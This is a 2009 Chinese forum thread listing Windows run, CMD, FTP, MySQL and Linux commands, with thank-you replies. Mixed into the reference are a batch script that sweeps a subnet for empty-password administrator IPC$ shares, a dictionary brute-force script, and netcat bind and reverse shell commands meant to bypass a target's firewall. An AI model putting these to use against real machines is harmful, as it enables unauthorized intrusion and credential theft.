德凯吧 关注:279贴子:2,421
  • 11回复贴,共1

计算机运行命令全集 winver---------检查Windows版本

只看楼主收藏回复

wmimgmt.msc----打开windows管理体系结构 
wupdmgr--------windows更新程序 
winver---------检查Windows版本 
wmimgmt.msc----打开windows管理体系结构 
wupdmgr--------windows更新程序 
wscript--------windows脚本宿主设置 
write----------写字板winmsd-----系统信息 
wiaacmgr-------扫描仪和照相机向导 
winchat--------XP自带局域网聊天 
mem.exe--------显示内存使用情况 
Msconfig.exe---系统配置实用程序 
mplayer2-------简易widnows media player 
mspaint--------画图板 
mstsc----------远程桌面连接 
mplayer2-------媒体播放机 
magnify--------放大镜实用程序 
mmc------------打开控制台 
mobsync--------同步命令 
dxdiag---------检查DirectX信息 
drwtsn32------ 系统医生 
devmgmt.msc--- 设备管理器 
dfrg.msc-------磁盘碎片整理程序 
diskmgmt.msc---磁盘管理实用程序 
dcomcnfg-------打开系统组件服务 
ddeshare-------打开DDE共享设置 
dvdplay--------DVD播放器 
net stop messenger-----停止信使服务 
net start messenger----开始信使服务 
notepad--------打开记事本 
nslookup-------网络管理的工具向导 
ntbackup-------系统备份和还原 
narrator-------屏幕"讲述人" 
ntmsmgr.msc----移动存储管理器 
ntmsoprq.msc---移动存储管理员操作请求 
netstat -an----(TC)命令检查接口 
syncapp--------创建一个公文包 
sysedit--------系统配置编辑器 
sigverif-------文件签名验证程序 
sndrec32-------录音机 
shrpubw--------创建共享文件夹 
secpol.msc-----本地安全策略 
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 
services.msc---本地服务设置 
Sndvol32-------音量控制程序 
sfc.exe--------系统文件检查器 
sfc /scannow---windows文件保护 
tsshutdn-------60秒倒计时关机命令 
tourstart------xp简介(安装完成后出现的漫游xp程序) 
taskmgr--------任务管理器 
eventvwr-------事件查看器 
eudcedit-------造字程序 
explorer-------打开资源管理器 
packager-------对象包装程序 
perfmon.msc----计算机性能监测程序 
progman--------程序管理器 
regedit.exe----注册表 
rsop.msc-------组策略结果集 
regedt32-------注册表编辑器 
rononce -p ----15秒关机 
regsvr32 /u *.dll----停止dll文件运行 
regsvr32 /u zipfldr.dll------取消ZIP支持 
cmd.exe--------CMD命令提示符 
chkdsk.exe-----Chkdsk磁盘检查 
certmgr.msc----证书管理实用程序 
calc-----------启动计算器 
charmap--------启动字符映射表 
cliconfg-------SQL SERVER 客户端网络实用程序 
Clipbrd--------剪贴板查看器 
conf-----------启动netmeeting 
compmgmt.msc---计算机管理 
cleanmgr-------**整理 
ciadv.msc------索引服务程序 
osk------------打开屏幕键盘 



1楼2009-02-13 17:08回复
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) 
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 
    mem 查看cpu使用情况 
    attrib 文件名(目录名) 查看某文件(目录)的属性 
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 
    set 指定环境变量名称=要指派给变量的字符 设置环境变量 
    set 显示当前所有的环境变量 
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 
    pause 暂停批处理程序,并显示出:请按任意键继续.... 
    if 在批处理程序中执行条件处理(更多说明见if命令及变量) 
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) 
    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) 
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 
    echo 信息 在屏幕上显示出信息 
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 
    find 文件名 查找某文件 
    title 标题名字 更改CMD窗口标题名字 
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky ) 
    三: 
    ver 在DOS窗口下显示版本信息 
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) 
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 
    md 目录名 创建目录 
    replace 源文件 要替换文件的目录 替换文件 
    ren 原文件名 新文件名 重命名文件名 
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 
    type 文件名 显示文本文件的内容 
    more 文件名 逐屏显示输出文件 
    doskey 要锁定的命令=字符 
    


    4楼2009-02-13 17:08
    回复
      dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 
      ascii 设定以ASCII方式传送文件(缺省值) 
      bin 或 image 设定以二进制方式传送文件 
      bell 每完成一次文件传送,报警提示 
      cdup 返回上一级目录 
      close 中断与远程服务器的ftp会话(与open对应) 
      open host[port] 建立指定ftp服务器连接,可指定连接端口 
      delete 删除远端主机中的文件 
      mdelete [remote-files] 删除一批文件 
      mkdir directory-name 在远端主机中建立目录 
      rename [from] [to] 改变远端主机中的文件名 
      rmdir directory-name 删除远端主机中的目录 
      status 显示当前FTP的状态 
      system 显示远端主机系统类型 
      user user-name [password] [account] 重新以别的用户名登录远端主机 
      open host [port] 重新建立一个新的连接 
      prompt 交互提示模式 
      macdef 定义宏命令 
      lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 
      chmod 改变远端主机的文件权限 
      case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 
      cd remote-dir 进入远程主机目录 
      cdup 进入远程主机目录的父目录 
      ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip 
      #5 五: 
      MYSQL 命令: 
      mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。 
      (例:mysql -h110.110.110.110 -Uroot -P123456 
      注:u与root可以不用加空格,其它也一样) 
      exit 退出MYSQL 
      mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 
      grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 
      show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 
      use mysql; 
      show tables; 显示库中的数据表 
      describe 表名; 显示数据表的结构 
      create database 库名; 建库 
      use 库名; 
      create table 表名 (字段设定列表); 建表 
      drop database 库名; 
      drop table 表名; 删库和删表 
      delete from 表名; 将表中记录清空 
      select * from 表名; 显示表中的记录 
      mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysql in目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 
      win2003系统下新增命令(实用部份): 
      shutdown /参数 关闭或重启本地或远程主机。 
      


      6楼2009-02-13 17:08
      回复
        参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。 
        例:shutdown /r /t 0 立即重启本地主机(无延时) 
        taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 
        参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 
        tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 
        参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 
        六: 
        Linux系统下基本命令: 要区分大小写 
        uname 显示版本信息(同win2K的 ver) 
        dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) 
        pwd 查询当前所在的目录位置 
        cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 
        cat 文件名 查看文件内容 
        cat >abc.txt 往abc.txt文件中写上内容。 
        more 文件名 以一页一页的方式显示一个文本文件。 
        cp 复制文件 
        mv 移动文件 
        rm 文件名 删除文件,rm -a 目录名删除目录及子目录 
        mkdir 目录名 建立目录 
        rmdir 删除子目录,目录内没有文档。 
        chmod 设定档案或目录的存取权限 
        grep 在档案中查找字符串 
        diff 档案文件比较 
        find 档案搜寻 
        date 现在的日期、时间 
        who 查询目前和你使用同一台机器的人以及Login时间地点 
        w 查询目前上机者的详细资料 
        whoami 查看自己的帐号名称 
        groups 查看某人的Group 
        passwd 更改密码 
        history 查看自己下过的命令 
        ps 显示进程状态 
        kill 停止某进程 
        gcc 黑客通常用它来编译C语言写的文件 
        su 权限转换为指定使用者 
        telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 
        ftp ftp连接上某服务器(同win2K) 
        附:批处理命令与变量 
        1:for命令及变量 基本格式: 
        FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。 
        批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 
        (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 } 
        


        7楼2009-02-13 17:08
        回复

          command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开 
          command_parameters:为特定命令指定参数或命令行开关 
          IN (set):指在(set)中取值;DO command :指执行command 
          参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。 
          用法举例: 
          @echo off 
          echo 用法格式:test.bat *.*.* > test.txt 
          for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt 
          存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。 
          /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 
          @echo off 
          echo 用法格式:ok.bat ip 
          FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 
          存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。 
          七: 
          2:if命令及变量 基本格式: 
          IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。 
          例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。 
          0 指发现并成功执行(真);1 指没有发现、没执行(假)。 
          IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。 
          例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") 
          IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。 
          例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 
          IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.” 
          


          8楼2009-02-13 17:08
          回复

            (二)系统外部命令(均需下载相关工具): 
            1、瑞士军刀:nc.exe 
            参数说明: 
            -h 查看帮助信息 
            -d 后台模式 
            -e prog程序重定向,一但连接就执行〔危险〕 
            -i secs延时的间隔 
            -l 监听模式,用于入站连接 
            -L 监听模式,连接天闭后仍然继续监听,直到CTR+C 
            -n IP地址,不能用域名 
            -o film记录16进制的传输 
            -p[空格]端口 本地端口号 
            -r 随机本地及远程端口 
            -t 使用Telnet交互方式 
            -u UDP模式 
            -v 详细输出,用-vv将更详细 
            -w数字 timeout延时间隔 
            -z 将输入,输出关掉(用于扫锚时) 
            基本用法: 
            nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 
            nc -l -p 80 开启本机的TCP 80端口并监听 
            nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 
            nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 
            nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 
            高级用法: 
            nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 
            nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt 
            nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 
            type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 
            本机上用:nc -l -p 本机端口 
            在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K 
            nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 
            本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称 
            在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 
            备 注: 
            | 管道命令 
            < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把te 


            9楼2009-02-13 17:08
            回复
              • 221.195.128.*
              写得太少  不够用呀   不全呀


              11楼2009-10-19 18:12
              回复
                • 58.46.32.*
                还嫌少   我个把月都记不清


                12楼2010-03-26 19:36
                回复
                  • 58.61.48.*
                  谢谢啦


                  13楼2010-04-01 11:37
                  回复
                    • 61.138.78.*
                    


                    14楼2010-04-02 08:33
                    回复
                      • 114.98.114.*
                      超棒!!!!!


                      15楼2010-04-06 22:27
                      回复
                        • 123.184.162.*
                        很好,太感谢了!


                        16楼2010-05-23 11:41
                        回复